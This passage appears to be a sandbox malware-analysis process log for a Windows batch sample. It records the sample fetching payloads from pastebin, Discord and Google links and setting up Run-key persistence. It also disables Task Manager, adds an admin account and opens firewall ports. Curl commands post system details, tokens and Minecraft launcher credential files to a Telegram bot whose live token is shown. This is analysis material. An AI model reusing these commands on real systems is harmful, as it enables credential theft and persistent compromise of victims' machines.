    3⤵
    PID:2972
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:224
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:312
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2788
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:2272
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:344
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2972
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4392
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2488
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3916
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1796
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest https://pastebin.com/raw/2K5m42Xp -outfile ycynlog.cmd"
  2⤵
  PID:4688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K ycynlog.cmd
  2⤵
  PID:220
- - C:\Windows\system32\attrib.exe
    attrib +h +s ycynlog.cmd
    3⤵
    - Views/modifies file attributes
    PID:1872
- - C:\Windows\system32\reg.exe
    reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_24283_toolbar" /t "REG_SZ" /d ycynlog.cmd /f
    3⤵
    PID:4176
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\.bat /f
    3⤵
    - Modifies registry key
    PID:4376
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
    3⤵
    PID:1028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/971160786015772724/971191444410875914/GetToken.exe', 'GetToken.exe')"
    3⤵
    PID:4816
- - C:\Users\Admin\GetToken.exe
    GetToken.exe
    3⤵
    PID:3752
- - C:\Windows\system32\curl.exe
    curl -s -o IP.txt https://ipv4.wtfismyip.com/text
    3⤵
    PID:4428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table >C:\Users\Admin\apps.txt"
    3⤵
    PID:3744
- - C:\Windows\system32\curl.exe
    curl -v -F document=@C:\Users\Admin\apps.txt https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:4996
- - C:\Windows\system32\ipconfig.exe
    ipconfig
    3⤵
    - Gathers network information
    PID:5316
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:2748
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get caption, name, deviceid, numberofcores, maxclockspeed, status
    3⤵
    PID:1028
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get totalphysicalmemory
    3⤵
    PID:6256
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic partition get name,size,type
    3⤵
    PID:6396
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:6584
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path softwarelicensingservice get OA3xOriginalProductKey
    3⤵
    PID:4088
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:6708
- - C:\Windows\system32\curl.exe
    curl -v -F document=@C:\Users\Admin\userdata.txt https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:6660
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"Tokens.txt" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:5348
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"Tokens.txt" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:6880
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_msa_credentials.bin" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:6964
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_msa_credentials_microsoft_store.bin" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:6360
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_accounts.json" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:6676
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_accounts_microsoft_store.json" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:5256
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_product_state.json" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:2344
- - C:\Windows\system32\curl.exe
    curl -v -F document=@"C:\Users\Admin\AppData\Roaming\.minecraft\launcher_profiles.json" https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
    3⤵
    PID:5824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://doc-0k-0k-docs.googleusercontent.com/docs/securesc/hg4h2398q99ghdi837vesvkmkv3nlr6u/ai385da1543uhdsi9bioneodrj6ljsd0/1652563275000/10334864966473916138/10334864966473916138/1qubjLFibSRfpNaX8z2SkwfHMiaQGKkn5?e=download&ax=ACxEAsayVkeHdNE6Rd2bptmdqZSTVYKwRPoiFNDJuQVnig_FKMx1vCzDipGZR7IOdO-2g1gOL15FljJPButVcD1jYwAdz9PxfiRxRrf-IXEkxwIn-KYy0NfynS5Us2LkVa8lUVIgCh3AETDK76rTtUf2Yv77eLHmSWmY57tXc_sPH9QpvJSYgJ_RdbREqd4SAbnWHFihxQMttNZe7vjevvlVc0nAwXWhmoXnCdTJpoN0OOQbhl8PmoHcm03iAReIe_KnHS9uuidU_VxCPtmQU97uGRj-XxZFqfTRF5kFTSf7YukXosSBxivgSZbaXMD0fWkmh1Gw51Waxqfc5G0I_hQpGMF3xzwIvB2FmHyN-A2nefhWVQAuoPcqNyNXOQq2UULaGDCqjYX4X_ehWRSCRAfew:~25,1%Vxyou:~21,1%vXyoU:~19,1%rAfeW:~18,1%vXyOu:~9,1%MXiRD:~6,1%vXyOu:~1,1%RafEW:~14,1%VxYou:~14,1%MXird:~2,1%raFEw:~5,1%mxIrD:~7,1%RAFeW:~24,1VXyOU:~23,1%VXyOU:~2,1%vxYou:~21,1%RAfEW:~11,1%rAfew:~15,1%RAFeW:~14,1%Vxyou:~13,1%vXyou:~19,1%vXyOu:~25,1%RafEw:~21,1mXiRD:~9,1%VxYOu:~17,1%vXyOu:~6,1%vxyou:~7,1%RaFew:~12,1%RAfew:~11,1raFew:~14,1VxyOu:~24,1%RafEw:~14,1%RafEW:~15,1%MXiRd:~5,1%MxIrd:~4,1%vXyOu:~18,1%VXyoU:~1,1%RAFEw:~12,1%Vxyou:~14,1%vXYOu:~24,1%rafeW:~14,1%RaFEw:~16,1%rAFEw:~11,1%mxIrD:~7,1%raFEw:~14,1%RaFew:~16,1%raFeW:~8,1%RAFEW:~11,1%MXirD:~8,1%RafEw:~15,1%RafEW:~22,1%rAfeW:~10,1%VxYoU:~22,1%VxyOU:~21,1%mXIrd:~2,1%RafEw:~13,1%mXiRD:~3,1%vXyOU:~3,1%rAFEw:~21,1%MXIRd:~4,1%Vxyou:~22,1%mxird:~8,1%mxiRD:~8,1%RafEw:~22,1%vxYou:~24,1%VXyou:~17,1%raFEw:~13,1%RaFeW:~22,1%rAFEw:~18,1%RaFew:~4,1%RaFeW:~2,1%vXyOu:~21,1%raFEW:~4,1%RAfeW:~16,1%Vxyou:~11,1%rAfEw:~1,1%rAFEW:~20,1%VXyOU:~16,1%rafEw:~7,1mXIRD:~1,1%RafeW:~1,1%rafeW:~7,1%VXyou:~25,1%MxirD:~2,1%rAfEW:~25,1%vXyou:~3,1VXyou:~7,1%mxIrD:~3,1%Mxird:~7,1%MxIRD:~7,1%VXYOu:~4,1%rAFEW:~23,1%vXyou:~10,1%VxYOU:~20,1%raFew:~8,1%Vxyou:~11,1%MxiRd:~4,1VxYOu:~11,1%VxyOu:~4,1%Vxyou:~20,1%vXyou:~21,1%RAfEW:~3,1%mxIrD:~9,1%rAfEw:~11,1%MXIRD:~2,1%rafew:~16,1%RaFeW:~19,1%vxYOU:~8,1%RaFew:~20,1%vXYOU:~25,1rAfew:~13,1%MXiRD:~3,1%raFEW:~20,1%RAfEw:~10,1%rAFew:~10,1%VXyOu:~23,1%vxyoU:~0,1%RAFEw:~14,1%VXyOu:~0,1%Vxyou:~16,1%RAfEW:~8,1%RaFEW:~3,1%MxIrD:~4,1%MXiRd:~7,1%MXirD:~6,1%vxyoU:~13,1%mxirD:~2,1%VxYOu:~25,1%MXirD:~4,1%mxird:~3,1%VXYou:~8,1%RafeW:~5,1%vxYoU:~10,1%vxyoU:~9,1%VxYOU:~17,1%RAFEw:~4,1%VXYOu:~14,1%rAfEw:~15,1%raFEW:~13,1%vxYOu:~13,1%rAfeW:~6,1%rafew:~10,1%VxyOU:~0,1%RafEw:~17,1%MXirD:~0,1%MXIRd:~9,1%VXyou:~7,1%rAFeW:~24,1%RAFew:~12,1%VXYou:~16,1%rAfew:~19,1%rafEw:~11,1%VXyOU:~1,1%MxiRd:~0,1%rafew:~11,1%raFEW:~10,1%RAfEw:~16,1%RAFEW:~13,1%VXyou:~14,1%rafEw:~10,1%RAfEw:~5,1%VXyou:~16,1%mXiRd:~0,1%VxYOU:~13,1%rafEW:~2,1%raFEW:~4,1%VxYOu:~7,1%vxYoU:~3,1%mXIRD:~5,1%rafEw:~15,1%rAFew:~6,1%raFeW:~18,1%mXirD:~3,1%rAFEW:~12,1%rAfEW:~10,1%raFEW:~16,1%vxyoU:~6,1%mXIrD:~3,1%MXIRD:~6,1%rafeW:~1,1%VXYoU:~23,1%MxIRD:~1,1%rAfeW:~4,1%vXYOu:~2,1%rAfeW:~17,1%Rafew:~1,1%RAFEw:~24,1%mxIrD:~1,1%RAFEW:~17,1%vXyou:~3,1%rAFEw:~8,1%VXYou:~22,1%RAfeW:~11,1%vxyou:~12,1%RaFeW:~12,1%VXYoU:~15,1%mXiRd:~9,1%vxYou:~23,1%RAfew:~3,1%VxYOU:~1,1%VxYoU:~3,1%raFEW:~12,1%RafEW:~12,1%RAFeW:~20,1%RaFEw:~18,1%VXyOU:~0,1%vxYOU:~2,1%mxird:~8,1%vXYoU:~21,1%MXirD:~9,1%MXIrd:~1,1%rafEW:~19,1%vXYoU:~25,1%vxYoU:~8,1%VXyOu:~3,1%VxyoU:~20,1%vXyoU:~25,1%rAFEw:~6,1%RAfEw:~17,1%RaFEw:~17,1%vxyoU:~5,1%rAFEw:~19,1%mXiRd:~1,1%RAFew:~11,1%RAFEw:~9,1%VXyOU:~18,1%VxYOu:~16,1%vxYoU:~12,1%VXYou:~10,1%VXyoU:~16,1%raFEw:~9,1%RaFew:~9,1%Vxyou:~19,1%RafEw:~17,1%rAfeW:~10,1%vXyou:~5,1%RaFew:~23,1%mxiRD:~4,1%mXIRd:~7,1%rafEW:~14,1%MXIrd:~8,1%rAFEw:~3,1%MXiRd:~0,1%vxyOu:~5,1%vxYOu:~12,1%VxYou:~20,1%RAfEW:~15,1%vxyOu:~19,1%rAfew:~16,1%vXYoU:~10,1%RaFEW:~0,1%mxirD:~8,1%vxYOu:~9,1%mxiRd:~4,1%VXYOU:~22,1%rAfeW:~4,1%mxird:~9,1%RAFew:~24,1%RafeW:~14,1%mxIRd:~3,1%RafeW:~8,1%VXYou:~3,1%mXIRd:~1,1%mxirD:~4,1%vXyou:~9,1%RAfEW:~6,1%vxyou:~15,1%vxYoU:~12,1%raFeW:~24,1%rAFEW:~24,1%VXYoU:~3,1%mXIRd:~3,1%vxYou:~20,1%vxyou:~18,1%RaFeW:~5,1%RafEw:~13,1%RaFeW:~22,1%vxyoU:~21,1%vXyoU:~12,1%rafEW:~9,1%VxyoU:~4,1%rAfEw:~6,1%RAFEw:~8,1%VXYOU:~3,1%RaFEw:~11,1%vxYOU:~25,1%rafEW:~0,1%vxyoU:~20,1%RaFew:~12,1%rAFeW:~24,1%MXirD:~4,1%rAFeW:~18,1%mxIrD:~0,1%RafEW:~22,1%Rafew:~5,1%VXYoU:~1,1%mXiRD:~4,1%RAFew:~3,1%RAfeW:~7,1%vXYOu:~16,1%VXYou:~5,1%rafeW:~17,1%Vxyou:~15,1%rAFeW:~17,1%rAfEw:~18,1%VXyOU:~10,1%rAFeW:~14,1%VxyOU:~22,1%mxIrd:~9,1%Rafew:~22,1%vXyOu:~8,1%vXYou:~20,1%raFeW:~21,1Vxyou:~0,1%vXYou:~4,1%RaFEw:~17,1%MXIrD:~4,1%rAFEW:~15,1%vxyou:~22,1%vxyou:~24,1%vxYOu:~9,1%MxiRd:~8,1%vXyOU:~10,1%vxYOu:~8,1%rafEW:~20,1%RAFew:~2,1%mXird:~6,1%rafeW:~6,1rAfEw:~7,1%VxyoU:~17,1%RAfEW:~21,1%RafEw:~18,1vxYou:~22,1%vxYOU:~5,1%raFEw:~7,1%MxIrd:~6,1%Rafew:~15,1%RafEw:~23,1%VxyOU:~0,1%MXIrd:~6,1%RafEW:~0,1VxYOU:~20,1%RAFEW:~19,1%RAFew:~22,1%RAfEW:~23,1%vxYou:~2,1vxyoU:~19,1%vXYoU:~25,1%rAFEw:~23,1%rafEW:~14,1VXYou:~9,1%RaFEW:~2,1%vxyOU:~12,1%RAFeW:~5,1%vxyou:~24,1%mxirD:~6,1%VxYOu:~21,1%mxiRD:~5,1%RaFEW:~7,1%VxyoU:~4,1%VxYoU:~24,1%MXiRD:~1,1%RAfeW:~15,1%rAFew:~9,1%vxYOU:~8,1%VxYOu:~10,1%RAfeW:~20,1%rafeW:~15,1%VXyoU:~24,1%RAFEw:~21,1%vXYOU:~2,1%rAfEW:~11,1%raFEw:~18,1%RAFeW:~15,1%RaFEW:~7,1%raFEW:~6,1%vXYoU:~20,1%rafEW:~11,1%VXYou:~0,1%VxYOu:~0,1%mXird:~7,1%vxyoU:~18,1rAFeW:~21,1%VxyOu:~12,1%VXyOU:~9,1%rAfew:~14,1%VXYoU:~19,1%vxYOU:~11,1%VXYou:~2,1%rAfEw:~24,1%raFEW:~24,1%vXYou:~21,1%RAFeW:~13,1%vXYoU:~16,1%Vxyou:~1,1%vxYoU:~11,1%vxYoU:~18,1%vxYOu:~23,1%rafEw:~25,1%rAfew:~16,1%raFEw:~19,1%RAFEw:~21,1%rafEW:~0,1%VXYOu:~5,1%vXYou:~25,1%vxYoU:~10,1%mXird:~4,1%raFEW:~1,1%RaFew:~1,1%vxyOu:~18,1%vxYoU:~14,1%raFew:~24,1%Mxird:~0,1VXyOU:~23,1%rafEW:~4,1%RAfew:~18,1%rAFEW:~8,1%rAfEW:~10,1%VxyOu:~13,1%raFew:~24,1%RaFew:~3,1%vxyoU:~2,1%vxYoU:~23,1%RAFEw:~5,1%VxyoU:~17,1%vXyoU:~0,1%VxyOU:~9,1%rafEw:~18,1%rAfEw:~25,1%RafEW:~19,1RafeW:~20,1%vXYoU:~20,1%VXYOu:~25,1%rAfeW:~23,1%RafeW:~25,1%raFEw:~22,1%VxYOU:~17,1%mXiRD:~1,1%mXiRD:~7,1%RAfEw:~6,1%raFEW:~9,1%Vxyou:~17,1%RaFew:~25,1%mXirD:~8,1%RafEw:~6,1%VxyOu:~16,1%raFEw:~24,1%VxYOu:~9,1%RAfeW:~14,1%vXYOu:~10,1%VXyOU:~19,1%VXyOU:~24,1%MxIRd:~7,1%Vxyou:~14,1%mxiRD:~7,1%MxIrD:~2,1%mxIrD:~3,1%RAFew:~21,1%VxyOu:~2,1%RaFeW:~14,1%vXYou:~8,1%RafeW:~0,1%VxYOU:~3,1%rafew:~14,1%raFEw:~11,1%MXirD:~0,1%MxiRD:~4,1%vXyoU:~11,1%rAFeW:~14,1%Rafew:~20,1%RAfEW:~18,1%mXIRd:~3,1%MXIrd:~8,1%rAfEw:~12,1%Mxird:~7,1%vxyOU:~25,1%VXyou:~1,1%MxIrD:~1,1VXyOu:~4,1%VXyoU:~1,1%mxiRd:~6,1%RAfEw:~7,1%MxirD:~4,1%vxyou:~25,1%rAfeW:~20,1%vXYOu:~19,1%vXYou:~22,1%raFeW:~14,1%rAFEW:~15,1%mXIRd:~1,1%mXird:~6,1%rAfEw:~18,1%MXirD:~4,1%RaFew:~21,1%MXirD:~0,1%rafew:~19,1%VXYOu:~16,1%VxYOU:~7,1%mXIRD:~6,1%rafeW:~0,1%VXYou:~17,1%RaFeW:~15,1%vXYou:~11,1%MxIrD:~9,1%vXYoU:~13,1%MXiRD:~7,1%rAfEW:~25,1%Vxyou:~7,1%RAfEW:~1,1%VxyOU:~1,1%mXIRd:~4,1%rAfew:~7,1%MXiRD:~1,1%rAfEW:~19,1%VXyOU:~19,1%VxYOu:~9,1%MXIRd:~7,1%vxYoU:~3,1%mXirD:~4,1%RaFeW:~23,1%VXyou:~9,1%VXYOU:~9,1%RAFew:~10,1%rafew:~24,1%rafew:~13,1RAFew:~17,1%rAFEw:~25,1%VxYOU:~15,1%VxYOU:~24,1%vxYOU:~8,1%VxYOU:~6,1%RAfEw:~5,1%mXIRd:~1,1%raFeW:~12,1%VxyoU:~0,1%vxyou:~25,1%RAfEw:~3,1%vXYou:~25,1%VXyOU:~7,1%vxyoU:~25,1%VxYoU:~3,1%RAfew:~13,1VXyou:~17,1%vXyoU:~22,1%vxYOU:~1,1%VxYOu:~11,1%VXYou:~22,1%VxyOU:~14,1%vXYOU:~25,1%vXYOu:~8,1MxirD:~9,1Vxyou:~10,1%VxyOU:~5,1%VXYou:~10,1%vXYOU:~23,1%VxYOU:~25,1VxYOU:~10,1%VXyOU:~3,1%vXYOu:~9,1%mxIrd:~0,1%MxIrD:~5,1%vxYOU:~23,1%mxiRd:~0,1%vxYOU:~21,1%vxyoU:~5,1%vXyOu:~18,1%VxYOU:~6,1%VxyoU:~20,1%vxYOu:~22,1VXYoU:~22,1%VxyoU:~14,1%VxyOu:~25,1%vxYou:~8,1MXIRd:~0,1%mXIrD:~8,1%mXiRD:~1,1%MXIrd:~1,1%mxIRd:~5,1%MXIRD:~9,1%MxirD:~4,1%mXird:~5,1%mXIrD:~2,1%MXiRd:~4,1%mXIrd:~4,1%mXiRD:~5,1%mXIRD:~6,1%MXIrd:~1,1%MXiRd:~2,1%mxiRd:~0,1%MxIrd:~4,1%mXird:~0,1%mXIRD:~1,1%mXiRd:~9,1vxyou:~11,1%VxYOU:~17,1%VXyoU:~14,1%vXYoU:~11,1vxYOu:~7,1%vxYou:~23,1%VxYOU:~6,1%VxYOU:~7,1%VXyoU:~10,1%VxyoU:~20,1%mxiRD:~2,1%Vxyou:~1,1%vXYou:~3,1%VxYoU:~23,1%vxYOu:~8,1%mXirD:~7,1%VXYOu:~14,1%mXIRd:~8,1%VXyOu:~8,1%vxYoU:~19,1%VxyoU:~22,1%MXIRD:~0,1%MXIRD:~3,1%VXyoU:~18,1%Mxird:~4,1%mXIrd:~1,1%mXiRd:~9,1%vXYOu:~7,1%VxyOu:~14,1%MXIrD:~8,1%vXYoU:~10,1%Vxyou:~0,1%MXiRd:~9,1%VXyOu:~6,1%vxyou:~6,1%VXyou:~11,1RaFEW:~16,1%vxYOU:~5,1%vxyOu:~8,1%raFEw:~25,1%vxyOu:~25,1vXYou:~25,1%VXYOU:~12,1%VXyOU:~25,1')"
    3⤵
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:504
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:3536
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:4900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:4744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2736
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3172
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1616
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1616
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4368
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2092
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4716
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5276
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5936
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4816
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5624
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6060
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5944
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5928
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5708
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6324
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6860
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6452
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6944
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6156
- - C:\Windows\system32\netsh.exe
